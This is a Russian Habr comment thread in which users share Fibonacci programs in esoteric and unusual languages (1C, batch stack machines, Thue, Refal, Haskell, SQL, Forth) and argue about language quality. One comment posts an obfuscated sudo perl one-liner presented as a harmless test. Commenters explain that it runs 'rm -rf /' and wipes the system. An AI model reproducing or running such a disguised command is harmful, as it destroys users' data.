Как стать автором
Обновить

Комментарии 89

а что ужасного в реализации этого алгоритма на встроенном языке 1с?
Встроенный язык 1C ужасен.
русскими буковками? Используйте английские
отключите ему хабр кто-нибудь!
забавно. Никогда не думал, что единственным ответом мой вопрос может быть такая сентенция.
Можно все-таки услышать внятные аргументы?
Как видите, многие пользователи Хабра используют условные рефлексы и эмоции вместо аргументов. Лично я бы привел в качестве номера одни ru.wikipedia.org/wiki/Malbolge или похожие на него, однако 1С Бухгалтерия, видимо, принесла горе и проклятие в многие семьи, и эта ненависть передается из поколения в поколение.
еще как вижу. Вообще кстати рад что в последнее время на хабре тема 1с хоть как-то, но раскрывается. Пусть даже и такими отзывами.
[i]
Как-то раз 1C: Бухгалтерия увела у меня девушку, задавила мою собаку и съела мой завтрак!
[/i]
Процедура ЧислаФибоначчи()
Ф0 = 0;
Ф1 = 1;
для й = 1 по 16 цикл
Ф = Ф0 + Ф1;
Сообщить (Ф0);
Ф0 = Ф1;
Ф1 = Ф;
конецЦикла;
КонецПроцедуры

Испугались?:)
Кто писал под 1С — тот в цирке не смеется…
а Вы писали?
к счастью всего лишь 3 месяца.
мне хватило. после питона — это была пытка.
Нет там ничего ужасно.
Поставившие плюсики просто не знают встроенный язык 1с, и это незнание приводит их в ужас :)
Приведите код на 1с который будет страшнее хотя бы брейнфака =)
Перенесла, спасибо. Хотя с другой стороны — в рамках данных языков такие программы вполне нормальны, это со стороны страшно :-)
Статья просто супер :) порадовали языки типа Brainfuck и Brainloller.
в очередной раз выкладываю ссылку на большую статью из компьютерры о эзотерических языках.
Когда-то Brainfuck меня тоже очень впечатлил: bf.kzn.ru/
я ещё делал так:

нам понадобятся следующие операции:

положить число на вершину стека
file: [.bat
  set /a sp+=1
  call set /a s%sp%=%1


снять число с вершины стека
file: ].bat
  set /a sp-=1


положить число на вершину стека из аккумулятора
file: [a.bat
  set /a sp+=1
  call set /a s%sp%=%%accum%%


снять число с вершины стека в аккумулятор
file: ]a.bat
  call set scc=%%s%sp%%%
  call set accum=%%scc%%
  set /a sp-=1


сложить два числа на вершине стека
file: +.bat
  set /a sp1=sp-1
  call set /a s%sp1%+=s%sp%
  set sp=%sp1%


вычесть два числа на вершине стека
file: -.bat
  set /a sp1=sp-1
  call set /a s%sp1%-=s%sp%
  set sp=%sp1%


положить в аккумулятор число из стека, которое находится на смещении, которое лежит на вершине стека
file: load_av.bat
  call ]a
  set /a spp=sp-%accum%
  call set scc=%%s%spp%%%
  call set accum=%%scc%%


распечатать число на вершине стека
file: print.bat
  @echo off
  call set /a scc=%%s%sp%%%
  call echo.%%scc%%


теперь можно сделать что-то полезное, например посчитать числа Фибоначчи

пишем рекурсивную функцию:

file: --fib.bat
  call ]a         
  if %accum%==0 (
    call [ 0
    exit /b
  )
  if %accum%==1 (
    call [ 1
    exit /b
  )

  call [a         
  call [a         
  call [ 1        
  call -          
  call --fib

  call [ 1        
  call load_av    
  call [a         
  call [ 2        
  call -          
  call --fib
  
  call +          
  call ]a         
  call ]          
  call [a         


ну и обёртку для неё

file: ---formula.bat
  (
  call [ %1  
  call --fib  
  call print>con
  )>nul


и вызываем:

D:\temp\bat>---formula.bat 10

D:\temp\bat>(
 call [ 10
 call --fib
 call print 1>con
) 1>nul
55


55 — правильный ответ :)
Nicolette, спасибо, я ждал этот пост!
асм на батах это джаз
Аплодирую даме стоя! Статья просто на отлично, спасибо.
> Brainloller
Мне понравилось! А оно умеет делать драйверы ядра? Работать с TCP/IP? =)
Поскольку язык Тьюринг-полный, то умеет делать все. А поскольку эзотерический — то ценой невероятных лишений, на которые не пойдет ни один здравомыслящий человек :-)
Зато как круто будет писать программы на нем художникам! ;)
Для художников другой — esolangs.org/wiki/Piet. До него у меня тоже еще руки не дошли :-)


Он прекрасен!
Числа фибоначчи на Thue ( esoteric.voxelperfect.net/wiki/Thue )

#::= print Fibonacci numbers
#::= Laurent Vogel, 2002-11-08

#::= Unary-Coded Decimal (UCD) numbers:
#::= each digit is as many '*' chars;
#::= Digits are separated with ','.
#::= Hence ',' is 0 and '*,,' is 10.
#::= digits are reversed (digit := 9 — digit) before and
#::= after addition, to detect overflow when trying to
#::= remove a '*' from ','.

()::=_

#::= reverse and print UCD numbers
_*********,::=,_.0
_********,::=,*_.1
_*******,::=,**_.2
_******,::=,***_.3
_*****,::=,****_.4
_****,::=,*****_.5
_***,::=,******_.6
_**,::=,*******_.7
_*,::=,********_.8
_,::=,*********_.9

.0::=~0
.1::=~1
.2::=~2
.3::=~3
.4::=~4
.5::=~5
.6::=~6
.7::=~7
.8::=~8
.9::=~9

#::= messages
,,::=,0>
1>,::=,1>
2>,::=,2>
0>*::=*0>
1>*::=*1>
2>*::=*2>
0>|::=|0>
1>|::=|1>
2>|::=|2>

#::= redundant, but for speed — These provoke bugs in the
#::= original implementation.
#::= ****
#::= 1>****::=****1>
#::= 2>****::=****2>
#::= *******
#::= 1>*******::=*******1>
#::= 2>*******::=*******2>

#::= swap left and right numbers
,a::=b1>
*a::=b2>
1>c::=c::=c::=f|d

#::= reverse right number
d::=*********e
*e*::=e
e,::=,d
e]::=g::=1>g*
,1>g::=g::=|g::=ig
*i::=<
,i::=i,*********
|i::=g::=

#::= when printed, activate a again to swap
_]::=.\
#::= when printed, activate a again to swap
_]::=.\
#::= when printed, activate a again to swap
_]::=.<c]
.\::=~\n
#::= the comma was left behind after printing
j<,::=a

::=

[j,*(.0)]

Источник: lvogel.free.fr/thue.htm

(P.S… Ох уж этот парсер… )
Не забыли, а не осилили. Пока что :-)
Там команды идентичны, только записаны по-другому.

Есть трансляторы из BF в WS, Ook и прочие ему подобные.
Неправда. Он размазан в пробелах самой статьи %) Истина где-то рядом
нашел для себя интересное — язык sanscript
может кто то еще что то такое подскажет — программирование в виде функциональных визуальных блоков
модуль simulink из MahLab
Попробуйте Windows Workflow Foundation — мощная штука.
labview
HiAsm посмотрите. «Рисование» программ для десктопных приложений, наладонников на winmobile, WEB. Код генерится для pascal, и, вроде бы, с++, а также PHP и Javascript.
кстати так и не пришел линк на скачивание sancript.
подскажите пожалуйста — где его можно скачать?
www.sans c ript.net/DEMOFORM.HTM (хабр с отвращением относится к слову скрипт)
Мне Hanoi Love понравился )))
Надо ещё добавить скрипт для машины Тьюринга :)
Ну фактически это и будет Brainfuck тогда.
мама, роди меня назад!
чего только не придумают…
Да что уж там, сразу:
sudo echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
бля такое не льзя писать, кто нибудь ведь попробует
Да ладно, кто-то уже пробовал, кому-то это не страшно, остальных пощадит парсер, сделавший черт знает что с кавычками.
А что это значит?
rm -rf /
А как же это работает?
прям шифровка какая-то )
По-моему там что-то типа rm -rf /*, что означает удаление всех файлов
Ну, без sudo же не получится…
По-моему там sudo и есть
sudo не там написал, нужно перед perl
НЛО прилетело и опубликовало эту надпись здесь
на Firebird можно похоже

WITH RECURSIVE t(a, b) AS (
select 1, 1 from rdb$database
UNION ALL
SELECT b, a + b FROM t
)
SELECT a FROM t rows 16 to 16
О!
Много лет назад у Novell был продукт AppWare (http://en.wikipedia.org/wiki/AppWare) с аналогичной идеей. У меня даже лицензионная коробка валяется :)))
Про Sanscript не знал… интерфейсом очень похож на программы имитационного моделирования…
Реализация на 7.4. Microsoft SQL Server прокатит только начиная с версии 2005.
Спасибо, добавила уточнение.
$ENTRY Go
{
     = <Prout <Symb <FN <Numb <Card>>>>;
}

FN
{
     s.Number = <FN s.Number 0 1>;
}

DoFN
{
     0 s.Current s.Next = s.Current;
     s.Counter s.Current s.Next =
          <DoFN <Sub s.Counter 1> s.Next <Add s.Current s.Next>>;
}


Рефал
Лично я на рефале дальше фибоначчи и факториала так и не пошел %) Хотя Турчин, разумеется, рулит
Я в принципе тоже, хоть и изучал его, не вижу особого применения.
Не флейма ради, но есть впечатление, что вы сделали упор на «запутанность» и «противоестественность» вычисления, а не на… хм, скажем так, неожиданность.

Например, ваш код на Haskell
module Main where
import Text.Printf

fibs :: [Int]
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)

line n = printf "%d, " $ fibs !! n

main = do
sequence_ $ map line [1..16]
putStrLn "..."


можно было бы написать как

main = putStrLn $ withDots $ join $ take 16 fibs
       where fibs = 1 : 1 : zipWith (+) fibs (tail fibs)
             join = foldl (\a b -> a ++ show b ++ ", " ) "" 
             withDots = (++ "...")


, и вы знаете, я не поручусь, что этот вариант менее понятен, чем «классические» императивные варианты. Даже смысл доллара можно интуитивно осознать (ну, если знать, строка какого вида получится в результате).

А тот же J интересен не тем, что «практически любое выражение на нем можно записать несколькими способами» (сложно найти язык, на котором нельзя), и не тем, что в нём используется некая «парадигма программирования на уровне функций» (я бы использовал в переводе термины «функциональный подход», «функции высшего порядка» и «комбинаторы» — но опять же, с этой точки зрения он не особо отличается от того же Haskell-а), — не тем, что на нём можно писать странные и запутанные программы, что для нормальных людей и нормальных языков обычно минус, а тем, что он — векторный на уровне языка. Что есть очень интересный и редкий плюс.
Упор сделан в полном соответствии с заголовком статьи :-)

Если серьезно, мне вообще Haskell и J дались с трудом, FP и Hanoi Love и то проще, и пишу я на них достаточно криво, так что что вышло — то вышло. Векторных языков не так мало, тот же FP, просто до большинства из них я еще не добралась.
А можно было взять и написать просто и ясно:
fib :: Int -> Int
fib 0 = 0
fib 1 = 1
fib x = fib (x — 1) + fib (x — 2)
И трапнуться из-за отсутствия хвостовой рекурсии — посчитайте-ка им 50-е значение. Или 100-е.

Не говоря уже про то, что в данной задаче речь не только о написании алгоритма (которого в моём коде ровно одна строчка,
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)
), но и подгонке к требуемому формату вывода (которым занимаются все остальные строчки).
Причем тут хвостовая рекурсия? :)
Проблемы с производительностью из-за отсутствия запоминания ответов, получается что fib 1 вызывается fib n раз
Это да. Но при возникновении хвостовой рекурсии потребность в запоминании ответов даже не возникла бы.
Можно объяснить как? Хвостовая рекурсия к функции sylvio вообще неприменима. Или вы предлагаете записать функцию так?:

fib :: Integer -> Integer
fib n = f 0 1 n
  where
    f a b 0 = a
    f a b n = f b (a+b) (n-1)



В такой реализации хвостовая рекурсия применима, но на производительность тоже не особо влияет.
Oracle 11g:

with t (n, c2, c3) as
(
  select 1, 0, 1 from dual union all
  select n + rownum, c3, c2+c3  from t where n <= 16
)
--
--
select n, c2 fibonacci from t


Как указали выше, Malbolge даст фору первому номеру в списке, т.к. программу на нем придется писать на суперкомпьютере методом случайного перебора.
В статье я ограничилась только языками, на которых я действительно написала программу. Суперкомпьютера под рукой не было :-)
A bit of python…
print '\n'.join(map(str,reduce(lambda a,b:a+[a[-1]+a[-2]],range(10),[0,1])))
Всегда нравились ваши интересные и веселые заметки. А это особенно удалась. Кстати Unary на Rosseta Code не нашел :)
Rosetta Code делает упор скорее на живые языки, чем на эзотерические. Там нет еще и Sanscript, Scratch, Hanoi Love, а FP присутствует чисто символически (ну еще бы :-)).
: fib ( n -- f )
  0 1 rot 0 ?do over + swap loop drop ;


10 fib . 55 ok
По поводу Brainloller: вы бы ещё на перфокартах написали!
НЛО прилетело и опубликовало эту надпись здесь
НЛО прилетело и опубликовало эту надпись здесь
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории